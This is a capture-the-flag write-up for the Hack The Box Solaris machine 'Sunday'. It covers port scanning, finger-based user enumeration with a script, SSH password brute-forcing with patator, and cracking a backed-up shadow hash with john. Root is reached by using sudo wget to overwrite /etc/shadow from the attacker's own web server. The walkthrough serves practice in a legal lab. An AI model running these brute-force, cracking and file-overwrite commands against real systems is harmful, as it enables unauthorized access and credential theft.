After quite a while, this is another write for a Hack The Box machine. This time for “Sunday”, a relatively easy machine based on Solaris. Never worked with this OS before, so I was keen to see what I would find.
To start, we quickly scan the ports of the box.
An initial scan with high rate using
masscan takes only a few seconds and
reveals a few open ports:
$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.76 ... Discovered open port 111/tcp on 10.10.10.76 Discovered open port 42492/tcp on 10.10.10.76 Discovered open port 62177/tcp on 10.10.10.76 Discovered open port 22022/tcp on 10.10.10.76 Discovered open port 79/tcp on 10.10.10.76 ...
Had we scanned with
nmap initially, we would either miss the high
non-standard ports or the scan would take very long.
masscan is much faster.
Only for all open ports we follow up with a more thorough
$ nmap -sV -sC -p 111,42492,62177,22022,79 10.10.10.76 ... PORT STATE SERVICE VERSION 79/tcp open finger Sun Solaris fingerd |_finger: No one logged on\x0D 111/tcp open rpcbind 2-4 (RPC #100000) Connection closed by foreign host. 22022/tcp open ssh SunSSH 1.3 (protocol 2.0) | ssh-hostkey: | 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA) |_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA) 42492/tcp open unknown 62177/tcp open smserverd 1 (RPC #100155) Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos ...
We find a Solaris machine, as promised by the HackTheBox machine list. We also see a few interesting services like finger and rcpbind, which suggests there might be NFS shares. An SSH daemon is running on a non-standard port as well. Moreover, we have a few higher-region ports with services I do not know too much about.
Finger is very easy to enumerate, so we go for that one first. First some background. finger is an ancient network protocol that allows remote users to get information about users of a machine. It has a history of being related to security issues (e.g., Morris worm in 1988) and allows enumeration of system users with word lists.
To query information, use the
finger tool, which is the client for
Give it a username and host and it will either output information if that user
exists, or “???” if it does not:
$ finger -ls [email protected] Login name: root In real life: Super-User Directory: /root Shell: /usr/bin/bash Last login Thu Sep 13 20:42 on pts/3 from sunday Mail last read Thu Sep 13 20:45:34 2018 No Plan. $ finger -ls [email protected] Login name: non-existing-user In real life: ???
The same can be achieved without
finger just by using plain old
$ telnet 10.10.10.76 79 Trying 10.10.10.76... Connected to 10.10.10.76. Escape character is '^]'. root Login Name TTY Idle When Where root Super-User pts/3 <Apr 24 10:37> sunday $ telnet 10.10.10.76 79 Trying 10.10.10.76... Connected to 10.10.10.76. Escape character is '^]'. non-existing-user Login Name TTY Idle When Where non-existing-user ??? Connection closed by foreign host.
Some information on users that should exist on the box by default can be found in the Oracle Solaris documentation.
#!/bin/bash wordlist=/opt/SecLists/Usernames/Names/names.txt while read user; do if [ "$user" == "" ]; then continue fi result=`finger $firstname.lastname@example.org` if [[ ! $result =~ ^.*\?\?\?.*$ ]]; then echo "### --- ###" echo "User found: $user" echo " --- Details:" echo $result echo "" fi done < $wordlist
fingerd does not return information only on the user you request.
Rather, it will do some sort of full text search in the user information. For
example, it will return information on “nobody4” when querying for “user” since
the real name of “nobody4” is “SunOS 4.x NFS Anonymous Access User”. You could
disable this behaviour with a flag, but ouch chances of discovering users would
only get lower.
The script runs for a while and provides us with two interesting usernames:
$ ./finger_enum.sh ... ### --- ### User found: sammy --- Details: Login Name TTY Idle When Where sammy sammy pts/3 <Sep 13 20:40> 10.10.15.130 ... ### --- ### User found: sunny --- Details: Login Name TTY Idle When Where sunny sunny pts/3 <Apr 24 10:48> 10.10.14.4 ...
SSH password guessing
Knowing some usernames, we can go on trying to log into the system. For each user, try a few obvious things related to the sun or to Sunday. My short list of passwords was:
admin password 123456 sunny sun sunshine sunlight sunday monday tuesday wednesday thursday friday saturday weekend
Putting usernames into a file “usernames.txt” and the list above into “passwords.txt”, we can brute force our way in. You could try brute-forcing SSH with Hydra, but for some reason it does not work. After some desperate hours, I’ve discovered patator and like to use it since then, since it feels more reliable. It can be used on many different services including SSH and is very easy to use. Getting into SSH on this box works like so:
$ ./patator.py ssh_login host=10.10.10.76 port=22022 user=FILE0 0=/htb/sunday/usernames.txt password=FILE1 1=/htb/sunday/passwords.txt 13:40:08 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2018-09-15 13:40 EDT 13:40:08 patator INFO - 13:40:08 patator INFO - code size time | candidate | num | mesg 13:40:08 patator INFO - ----------------------------------------------------------------------------- ... 13:40:10 patator INFO - 1 22 0.164 | sunny:weekend | 15 | Authentication failed. 13:40:11 patator INFO - 0 19 0.301 | sunny:sunday | 8 | SSH-2.0-Sun_SSH_1.3 13:40:11 patator INFO - 1 22 0.264 | sunny:sunlight | 7 | Authentication failed. ... 13:40:13 patator INFO - Hits/Done/Skip/Fail/Size: 30/30/0/0/30, Avg: 5 r/s, Time: 0h 0m 5s
All requests return “Authentication failed.” except for credentials “sunny” / “sunday”, which give “SSH-2.0-Sun_SSH_1.3”. This means we found valid login credentials.
From sunny to sammy
We can use our newly found credentials to log in via SSH:
$ ssh -p 22022 [email protected] Password: Last login: Wed Sep 12 20:57:00 2018 from 10.10.15.130 Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008 [email protected]:~$
Starting from here, we could proceed with any of the standard Linux privilege escalation scripts. It would likely break for some parts though since Solaris is not exactly like Linux, which is why I proceeded with poking around manually to start.
An easy thing to find is that sunny has sudo execution rights on “/root/troll”:
[email protected]:~$ sudo -l User sunny may run the following commands on this host: (root) NOPASSWD: /root/troll [email protected]:~$ sudo /root/troll testing uid=0(root) gid=0(root)
It seems to just print “testing” and then run
id. I did not investigate
further as the name suggests we won’t find anything useful.
Cracking sammy’s password
Instead, look around further and you find a strange folder “/backup” with a file named “shadow.backup” inside. The content looks like it really is a backup of “/etc/shadow”:
[email protected]:/$ cat /backup/shadow.backup ... sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
There are two SHA256 password hashes for users sammy and sunny. We know they are SHA256 hashes as they start with “$5$” (check this page for how to read shadow files). Assuming the file contains the current passwords, the one for “sunny” should be “sunday”. We can verify that by regenerating sunny’s password hash with the salt “iRMbpnBv” found in the backed-up shadow file:
$ mkpasswd -m sha-256 -S iRMbpnBv sunday $5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3
They match. Let’s crack sammy’s password and hope that it is also still in use. Put the password hash “$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB” into a file “sammy-hash.txt” and run (jumbo)john against the “rockyou” wordlist:
$ john ./sammy-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 128/128 AVX 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status cooldude! (?) ...
It discovers the format automatically and returns the password after a short time. The password is “cooldude!”
From sammy to root
With out new credentials “sammy” / “cooldude!”, we can open a new SSH session. Remember that sunny was able to run sudo? What about sammy?
[email protected]:~$ sudo -l User sammy may run the following commands on this host: (root) NOPASSWD: /usr/bin/wget
This is a lot more interesting that the “troll” thing. With
wget -O we can
download a file and specify a location to write it to. As root, we can
overwrite pretty much any configuration file. Thus, lot’s of different ways to
get into root exist from here. You could overwrite
bash, then run
it as sammy with sudo. You could overwrite the “/etc/sudoers” file to add new
permissions (TODO: possible wihtout restart?). You could overwrite “/etc/shadow” with a root password you know.
Probably many more ways exist.
To not destroy the experience of other players, use a non-destructive method. I just prepended a line to the backup of “etc/shadow” to reuse the password “sunday” of sunny for root:
root:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::: mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::: sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Serve this file with
python -m SimpleHTTPServer 8000 and then download it
with sudo as sammy:
[email protected]:~$ sudo wget -O /etc/shadow http://10.10.15.130:8000/shadow --17:31:08-- http://10.10.15.130:8000/shadow => `/etc/shadow' Connecting to 10.10.15.130:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 392 [application/octet-stream] 100%[==================================================================================================================>] 392 --.--K/s 17:31:08 (60.37 MB/s) - `/etc/shadow' saved [392/392]
Now, a simple
su - followed by password “sunday” is enough to become root.
Very nice box with a few brute-forcing challenges and a basic privesc. Nice to see an old-school OS, feels very retro :)
Other write-ups for this box:
- ippsec video on YouTube.
- Collection of various write-ups, accessible only with the flag: GitHub
- Alternative and probably unintended privesc here. For some reason, user “sammy” seems to have a “root” role assinged in “/etc/user_attr” and you can use a tool named pfexec to run commands with these privileges.
- Alternative way to use
wgetto for privesc but just to extract the flag here. It seems
wgetcan not just retrieve content but also POST files to your own web server, so combined with sudo you can just send the flag to yourself.